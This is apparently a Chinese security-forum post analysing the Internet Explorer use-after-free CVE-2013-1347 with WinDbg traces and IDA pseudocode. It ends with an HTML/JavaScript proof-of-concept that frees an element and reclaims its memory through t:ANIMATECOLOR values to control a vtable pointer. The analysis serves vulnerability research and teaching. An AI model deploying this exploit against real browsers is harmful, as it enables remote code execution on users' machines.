0849ee0c 7208c108 0849ee30 0cf00fb0 00000000 mshtml!NotifyTreeNode+0x63
0849ee64 7206730e 0849eef8 0bd7f680 0849eef8 mshtml!NotifyAncestors+0x1b7
0849eebc 7206727c 0c6e0f30 00000000 0bd7f744 mshtml!CMarkup::SendNotification+0x92
0849eee4 7208c06c 0849eef8 0bd7f870 ffffffff mshtml!CMarkup::Notify+0xd6
0849ef2c 720f7e44 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a
0849ef54 72119b0d 0bd5dfd8 00000001 0849f030 mshtml!CElement::EnsureRecalcNotify+0x15f
0849ef94 71ed21fc 00000000 00001200 723d8ba0 mshtml!CElement::GetOffsetParentHelper+0x60
0849efa8 720dde50 0bd5dfd8 0849f030 00000000 mshtml!CElement::get_offsetParent+0x30

上面的函数调用流程和3.4.4小节中,在CTreeNode中的CTextBlock指针那里设置断点时得到的函数调用流程十分接近,在IDA中查看,这个操作就在设置CTextBlock指针操作的后面几步。

 

再看一下这个函数的代码:

1
2
3
4
5
6
7
8
9
10
11
int __thiscall CTreeNode::AddRef(CTreeNode *__hidden this)
?AddRef@CTreeNode@@QAEJXZ proc near
mov     eax, [ecx+40h]
mov     edx, eax
and     edx, 0FFFFFFF8h
and     eax, 7
add     edx, 8
xor     edx, eax
mov     [ecx+40h], edx
xor     eax, eax
retn

和上面的CTreeNode::Release函数中的计算看起来很相似,如果你仔细观察一下它的计算的话,其实CTreeNode::Release函数是在做一个-8操作,而CTreeNode::AddRef是在做一个+8操作。

 

所以CTreeNode的倒数第三个DWORD应该是这个CTreeNode的引用计数,默认有一个引用,指CElement中存储的那个CTreeNode指针,之后每增加一次引用,数值增加8,如果计数到达0,就会对这个空间进行释放。

 

鉴于执行完f0.offsetParent=null;之后,CGenericElement这个计数值从0x8变成了0x18,所以应该是增加了两个引用。

 

我猜测这里引用的增加和element_array有关(不一定正确)。因为:

 

目前程序断在了CTreeNode::AddRef,步进执行完这个函数,引用增加一次,数值增加8,此时数值是0x10。如果这个时候检查element_array中的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:005> dd 0cec1fb0  l13
0cec1fb0  0ce20fc8 0bd1afb0 00020275 00000001
0cec1fc0  00000161 00000003 0bd1afc0 0cb8dfc0
0cec1fd0  0bd1afc0 0cec1fd8 00000052 00000000
0cec1fe0  00000000 0cf00fd8 0cec1fc0 0bd1afd8
0cec1ff0  00000010 0aeadfa0 00000000
0:005> dd 0aeadfa0+58 l1
0aeadff8  0d51afc0
0:005> dd 0d51afc0
0d51afc0  00000805 00000001 0bd1afc0 0bd1afb0
0d51afd0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51afe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51aff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51b000  ???????? ???????? ???????? ????????
0d51b010  ???????? ???????? ???????? ????????
0d51b020  ???????? ???????? ???????? ????????
0d51b030  ???????? ???????? ???????? ????????

如果继续F5执行,程序还会断在这里,执行完这个函数,再次查看element_array

1
2
3
4
5
6
7
8
9
0:005> dd 0d51afc0
0d51afc0  00000805 00000001 0bd1afc0 0bd1afb0
0d51afd0  00000005 00000002 0cec1fc0 00000000
0d51afe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51aff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51b000  ???????? ???????? ???????? ????????
0d51b010  ???????? ???????? ???????? ????????
0d51b020  ???????? ???????? ???????? ????????
0d51b030  ???????? ???????? ???????? ????????

所以到这里就可以得出结论了,设置offsetParent的操作让IE对DOM树进行了渲染,形成CTextBlock,并在CTreeNode中添加其地址,增加CTreeNode的引用数。而清空innerHTML的时候,对于CTextBlock的操作存在问题,并没有清除element_array中的内容,引用数只减少了一个数值,导致对应的CTreeNode的空间没有被释放。

3.5.3 没有table元素

删除了f1.appendChild(document.createElement('table'));这句代码之后,设置好断点,然后让程序一直执行到达CElement::put_innerHTML函数,观察此时和CGenericElment有关的数据,会发现element_array中的数据变化很明显:

1
2
3
4
5
6
7
8
9
10
11
// element_array
0:005> dd 0d0f4f70 l24
0d0f4f70  00000805 00000001 0bf4bfc0 0bf4bfb0   f0 begintreepos
0d0f4f80  00000806 00000002 0bf4bfd8 0bf4bfb0   f0 endtreepos
0d0f4f90  00000805 00000003 0cee7fc0 0cee7fb0   f1 begintreepos
0d0f4fa0  00000806 00000004 0cee7fd8 0cee7fb0   f1 endtreepos
0d0f4fb0  00000805 00000005 0d156fc0 0d156fb0   f2 begintreepos
0d0f4fc0  00000805 00000006 07a5ffc0 07a5ffb0   CGenericElement begintreepos
0d0f4fd0  00000802 00000007 07a5ffd8 00000000   CGenericElement endtreepos
0d0f4fe0  00000806 00000008 07a5ffd8 07a5ffb0   CGenericElement endtreepos
0d0f4ff0  00000806 00000009 0d156fd8 0d156fb0   f2 endtreepos

原本在存在table元素的时候,这里面应该只有四组数据,包含f2CGenericElement

 

现在还不知道这种变化有什么影响,继续向下执行,会发现直到垃圾回收之前,数据都没有什么太大的变化。垃圾回收之后,也之后CElement的空间被释放了,CTreeNode的空间仍旧存在,那么问题应该处在脚本执行之后的渲染阶段。

 

我在element_array中,CGenericElement所在的位置设置了一个读写断点,然后继续执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:005> ba r4 0d0f4fc8
Breakpoint 7 hit
eax=0d0f4f70 ebx=00000000 ecx=00000000 edx=0d156fb0 esi=00000050 edi=0d0f4fc0
eip=71d68be1 esp=0854d8e0 ebp=0854d8f0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
mshtml!SLayoutRun::Clear+0x11:
71d68be1 7403            je      mshtml!SLayoutRun::Clear+0x16 (71d68be6) [br=0]
0:005> kb
ChildEBP RetAddr  Args to Child             
0854d8f0 71d3650b 0bf4bfc0 0d116fa0 0854f0b0 mshtml!SLayoutRun::Clear+0x11
0854eff4 71d2b667 0d116fa0 07d6df30 0b87bfd8 mshtml!CTextBlock::BuildTextBlock+0xd62
0854f038 71d08f0a 07d6df30 0b87bfd8 0d01afc mshtml!CLayoutBlock::BuildBlock+0x1ec
0854f0b8 71d08c83 0d01afc8 07d6df30 0b87bfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0854f0f0 71d09af4 07d6df30 00000000 0cc69fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0854f1b4 71d0a4f5 01d6df30 0c122fa8 0854f1db mshtml!CCssDocumentLayout::GetPage+0x22a
0854f324 71e2cc48 0854f4e8 0854f480 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0854f45c 71e5ce63 0c122fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0854f558 71d6aa21 00100000 0854f5b0 0d5d6fd8 mshtml!CLayout::DoLayout+0x11d
0854f56c 71e07515 0854f5b0 0854f5b0 71e2c20c mshtml!CCssPageLayout::Notify+0x140
...

所以现在位于SLayoutRun::Clear函数,是在做什么清除吗?再看一下element_array中的内容:

1
2
3
4
5
6
7
8
9
10
0:005> dd 0d0f4f70 l24
0d0f4f70  00000805 00000001 00000000 ffffffff
0d0f4f80  00000806 00000002 00000000 ffffffff
0d0f4f90  00000805 00000003 00000000 ffffffff
0d0f4fa0  00000806 00000004 00000000 ffffffff
0d0f4fb0  00000805 00000005 00000000 ffffffff
0d0f4fc0  00000805 00000006 07a5ffc0 07a5ffb0
0d0f4fd0  00000802 00000007 07a5ffd8 00000000
0d0f4fe0  00000806 00000008 07a5ffd8 07a5ffb0
0d0f4ff0  00000806 00000009 0d156fd8 0d156fb0

前面几项竟然都被清除了!!

 

暂停一下,做一个整理,这篇文章我一共贴了两张图,如果你回过头去看第一张,会发现各个元素的CTreeNode结构中,记录CTextBlock的位置,f0f1CTextBlockf2CGenericElementCTextBlock值是不一样的,而如果没有table元素,就像上面显示的,所有元素都在同一个element_array中了。

 

在调试分析offsetParent的时候,我们说IE在设置完offsetParent之后会对DOM树进行渲染,并构造相应的CTextBlock,这个说法其实不太准确,不是“构造”,而是更新。而在脚本全部执行完之后,在此渲染的时候,IE同样会更新CTextBlock。就像上面有一些清除操作。

 

接下来要仔细看一下在渲染前后,element_array的变化情况,还是回到会产生异常的那个poc脚本,因为比较好定位,最后一定会结束在异常状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 垃圾回收之前
// f0, f1对应的element_array
0:005> dd 0d158fc0
0d158fc0  00000805 00000001 0d1dcfc0 0d1dcfb0   // f0
0d158fd0  00000806 00000002 0d1dcfd8 0d1dcfb0
0d158fe0  00000805 00000003 0be40fc0 0be40fb0   // f1
0d158ff0  00000806 00000004 0cb8dfc0 0be40fb0   // CTable
0d159000  ???????? ???????? ???????? ????????
 
// CGenericElement对应的element_array
0:005> dd 0d5dcfc0
0d5dcfc0  00000805 00000001 0bd1afc0 0bd1afb0   // f2
0d5dcfd0  00000805 00000002 0cec1fc0 0cec1fb0   // CGenericElement
0d5dcfe0  00000806 00000003 0cec1fd8 0cec1fb0
0d5dcff0  00000806 00000004 0bd1afd8 0bd1afb0
0d5dd000  ???????? ???????? ???????? ????????

可以看到在存在table元素的时候,有两个不同的element_array,而且保存在不同的CTextBlock中。接下来继续执行直到发生异常:

1
2
3
4
5
6
7
8
9
10
11
12
// 发生异常之后
// f0, f1对应的element_array
0:005> dd 0d158fc0
0d158fc0  ???????? ???????? ???????? ????????
 
// CGenericElement对应的element_array
0:005> dd 0d5dcfc0
0d5dcfc0  00000805 00000001 0bd1afc0 0bd1afb0   // f2
0d5dcfd0  00000805 00000002 0cec1fc0 0cec1fb0   // CGenericElement
0d5dcfe0  00000806 00000003 0cec1fd8 0cec1fb0
0d5dcff0  00000806 00000004 0bd1afd8 0bd1afb0
0d5dd000  ???????? ???????? ???????? ????????

f0, f1对应的element_array所在的空间已经被释放了,如果检查一下对应的CTextBlock结构,会发现其中保存的element_array地址已经变了:

1
2
3
4
5
6
7
8
0:005> dd 0cb7cfa0+58 l1
0cb7cff8  07c72fc0
0:005> dd 07c72fc0
07c72fc0  00000805 00000001 0d1dcfc0 0d1dcfb0   // f0 element
07c72fd0  00000806 00000002 0be78fc0 0d1dcfb0   // hr element
07c72fe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
07c72ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
07c73000  ???????? ???????? ???????? ????????

可以看到f0, f1对应的element_array内容进行了更新,现在里面只有f0hr元素了。而f1在另一个element_array中:

1
2
3
4
5
6
0:005> dd 07c76fc0
07c76fc0  00000805 00000001 0be40fc0 0be40fb0   // f1
07c76fd0  00000806 00000002 0be40fd8 0be40fb0
07c76fe0  00000805 00000003 0bd1afc0 0bd1afb0   // f2
07c76ff0  00000806 00000004 0bd1afd8 0bd1afb0
07c77000  ???????? ???????? ???????? ????????

唯一的问题就在于之前f2CGenericElement所在的element_array的空间并没有被释放,仍旧存在:

1
2
3
4
5
6
0:005> dd 0d5dcfc0
0d5dcfc0  00000805 00000001 0bd1afc0 0bd1afb0
0d5dcfd0  00000805 00000002 0cec1fc0 0cec1fb0
0d5dcfe0  00000806 00000003 0cec1fd8 0cec1fb0
0d5dcff0  00000806 00000004 0bd1afd8 0bd1afb0
0d5dd000  ???????? ???????? ???????? ????????

所以现在可以得出结论了,table元素导致生成了两个CTextBlock,存在两个element_array,在脚本结束后对DOM树进行渲染时,更新CTextBlock的操作存在问题,并没有对第二个CTextBlock进行更新。最终导致了对已释放空间的访问。

3.6 总结

到此为止,做一个总结:

  1. 创建table元素

    形成两个CTextBlock,脚本执行后渲染更新CTextBlock的时候,只更新了第一个,保留了对已释放空间的引用。

  2. 设置offsetParentnull

    更新CTextBlock,增加引用数,导致设置innerHTML的时候,不会删除CTreeNode的空间

  3. 清空innerHTML

    清空f1f2下面的元素,让之后的垃圾回收释放不再使用的空间

  4. 创建hr元素

    让脚本执行后渲染DOM树时,能够重新遍历更新CTextBlock

4. 漏洞利用

4.1 原理

根据文章一开始的分析,异常发生前执行的代码是:

1
2
3
4
mshtml!CElement::Doc:
72adc400 8b01            mov     eax,dword ptr [ecx]
72adc402 8b5070          mov     edx,dword ptr [eax+70h]
72adc405 ffd2            call    edx

现在我们已经知道,ecx寄存器中保存的是CGenericElementCElement的地址,但是这块空间已经被释放了。所以如果能够想办法,在程序执行到这段代码之前,覆盖这块已经释放的空间,就有机会做到漏洞利用。

 

空间释放的操作发生在垃圾回收函数的调用中,所以覆盖操作要在垃圾释放之后。《漏洞战争》中介绍了t:ANIMATECOLOR元素,因为这个元素可以任意设置大小和内容,十分适合用于此次漏洞利用。

t:ANIMATECOLOR:
Changes the color of an object over time.

 

VALUES Attribute | values Property:
Sets or retrieves a list of semicolon-separated values of an animation.

 

由于代码中,获取的是偏移为0x70处的虚函数,所以t:ANIMATECOLOR要设置0x70的长度,最后的四个字节设置为shellcode的地址。

4.2 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
    <?IMPORT namespace="t" implementation="#default#time2">
</meta>
 
<script>
function helloWorld()
{
    animvalues = "";
 
    for (i=0; i <= 0x70/4; i++) {
        if (i == 0x70/4) {
            //animvalues += unescape("%u5ed5%u77c1");  
            animvalues += unescape("%u4141%u4141");  
        }
        else {
            animvalues += unescape("%u4242%u4242");    
        }   
    }
 
    for(i = 0; i < 13; i++) {
        animvalues += ";red";       
    }
 
    f0 = document.createElement('span');
    document.body.appendChild(f0);
    f1 = document.createElement('span');
    document.body.appendChild(f1);
    f2 = document.createElement('span');
    document.body.appendChild(f2);
    document.body.contentEditable="true";
    f2.appendChild(document.createElement('datalist'));
    f1.appendChild(document.createElement('span'));
    f1.appendChild(document.createElement('table'));
    try{
        f0.offsetParent=null;
    }catch(e) {}
 
    f2.innerHTML="";
    f0.appendChild(document.createElement('hr'));
    f1.innerHTML="";
 
    CollectGarbage();
 
    try {
        a = document.getElementById('myanim');
        a.values = animvalues;
    }
    catch(e) {}
}
 
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
 
</body>
</html>

4.3 一些疑惑

4.3.1 t:ANIMATECOLOR为什么能够覆盖已释放空间?

t:ANIMATECOLOR元素中的values保存的是指针,指向每个按照分号分隔后的字符串。因此values值中包含的分号个数就控制了程序在分配空间时的大小。而exploit代码中按照原本CGenericElementCElement空间大小设置了values的大小,这种情况下系统肯定会优先选择大小完全一样的堆块空间分配给它,也就正好命中了已释放空间的地址。

4.3.2 虚表指针是怎么设置的?

一开始我没明白虚表指针是怎么设置的,书中写的是“用第一个分号前面的字符串覆盖虚表指针”,也没理解什么意思。

 

后来发现自己把最终animvalues的值看错了,又跟着调试了一遍上面的代码:

 

断点的设置还是跟之前都一样,开始执行之后就能获得各个元素CElementCTreeNode的地址,执行到垃圾回收之后,就在CGenericElementCElement地址处设置一个写断点,程序中断后看一下函数调用流程:

1
2
3
4
5
6
0:005> kb
ChildEBP RetAddr  Args to Child             
0307b9f4 738ab65f 00702b88 00000000 00000038 msvcrt!memset+0x5f
0307ba54 738ae9ad 049b9898 00000008 00000000 mstime!CTIMEAnimationBase::put_values+0x23a
0307baa4 76a03ec3 049b9898 00000008 00000000 mstime!CTIMEColorAnimation::put_values+0x51
0307bacc 76a03d3d 049b9898 00000168 00000004 OLEAUT32!DispCallFunc+0x165

所以空间的分配应该是在mstime!CTIMEAnimationBase::put_values这个函数中,程序在设置t:ANIMATECOLORvalues的值的时候还会分配一个新的空间,而不只是复制一个指针值,这解决了我的一个疑问,我一开始认为代码中为animvalues赋值的时候就已经做了空间的分配。

 

回退一下,这次在mstime!CTIMEAnimationBase::put_values设置断点,然后逐步调试,这里不再贴出调试过程,直接对应到IDA中的代码,给出注解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
HRESULT __stdcall CTIMEAnimationBase::put_values(CTIMEAnimationBase *this, struct tagVARIANT pvargSrc)
{
  ...
  str_70 = (CopyString)(v13);                   // 这里在为values中的字符串分配空间,并进行复制
  v4 = str_70;
  str_70_ = str_70;
  if...
  *(this + 20) = str_70;
  (CAttrBase::ClearString)(v3);
  *(this + 76) = 1;
  v17 = StringToTokens(v4, L";", &v22);         // 识别分号,定位分割后第一个字符串
  v7 = v25;
  *(this + 124) = v25;
  if...
  if...
  str_13 = ATL_malloc(v7 >> 30 != 0 ? -1 : 4 * v7);// 这里在为字符串指针分配空间
                                                // 因为大小和CGenericElement的CElement空间大小相同,所以返回了相同地址
  *(this + 125) = str_13;
  if ( str_13 )
  {
    memset(str_13, 0, 4 * *(this + 124));       // 先将空间数据清空
    v18 = 0;
    if...
    while ( 1 )                                 // 这里循环处理所有分割后的字符串
    {
      v9 = *(4 * v18 + v26);
      v10 = v9[1];
      v21 = *v9;
      *(4 * v18 + *(this + 125)) = ATL_malloc((v10 + 1) >> 31 != 0 ? -1 : 2 * (v10 + 1));// 为分割后字符串分配空间,并设置对应的字符串指针
                                                // 第一个字符串指针就会作为虚表指针进行使用
      v11 = (4 * v18 + *(this + 125));
      if ( !*v11 )
        break;
      *(*v11 + 2 * v10) = 0;
      StringCchCopyNW((v10 + 1), &str_70_[v21], v10, v14);// 将分割后字符串的数据复制到了上面分配的空间
      if ( v15 )
      {
        ATL::CComVariant::operator=(*(4 * v18 + *(this + 125)));
        if ( pvarg.lVal )
        {
          if ( !(*(*(this - 170) + 252))(this - 680, &pvarg) )
            v15 = 0;
          VariantClear(&pvarg);
        }
      }
      if ( ++v18 >= *(this + 124) )
        goto LABEL_28;
    }
  }
...
}

上面代码中的循环结束之后,原本的已释放空间数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:005> dda 702b88 ld
00702b88  007335b8 "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
00702b8c  00788908 "r"
00702b90  00788918 "r"
00702b94  00788928 "r"
00702b98  00788938 "r"
00702b9c  00788948 "r"
00702ba0  00788958 "r"
00702ba4  00788968 "r"
00702ba8  00788978 "r"
00702bac  00788988 "r"
00702bb0  00788998 "r"
00702bb4  007889a8 "r"
00702bb8  007889b8 "J"

可以看到已经被分割后字符串指针代替了。007335b8会被当成虚表指针。

5. 总结

总的来说,这次的漏洞分析让我在IE调试上学习到了很多,也了解到了很多IE底层的知识,而且极大地锻炼了自己的耐心。自认为对于CVE-2013-1347漏洞,文章里分析的已经很透彻了,也发现了一些书中没有提到的细节。

 

至于UAF漏洞利用,原理也算是清楚了,这次的漏洞和我在上周示例代码遇到的双重释放导致的UAF差别很大,上周的异常是由于多重释放时堆块大小的计算出现问题,导致访问超出范围,现在看来这应该不是普遍会遇到的UAF的情况,但是整个调试经历,异常原因的分析也很有趣。

6. 参考资料

  1. 《漏洞战争》
  2. MASM Numbers and Operators (windbg中的命令使用MASM语法)
  3. windbg条件断点总结
  4. 移植自2000泄漏代码中的ie部分代码

第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 310
活跃值: 活跃值 (413)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Met三二 活跃值 2021-8-24 09:24
2
0
终于等到更新了
游客
登录 | 注册 方可回帖
返回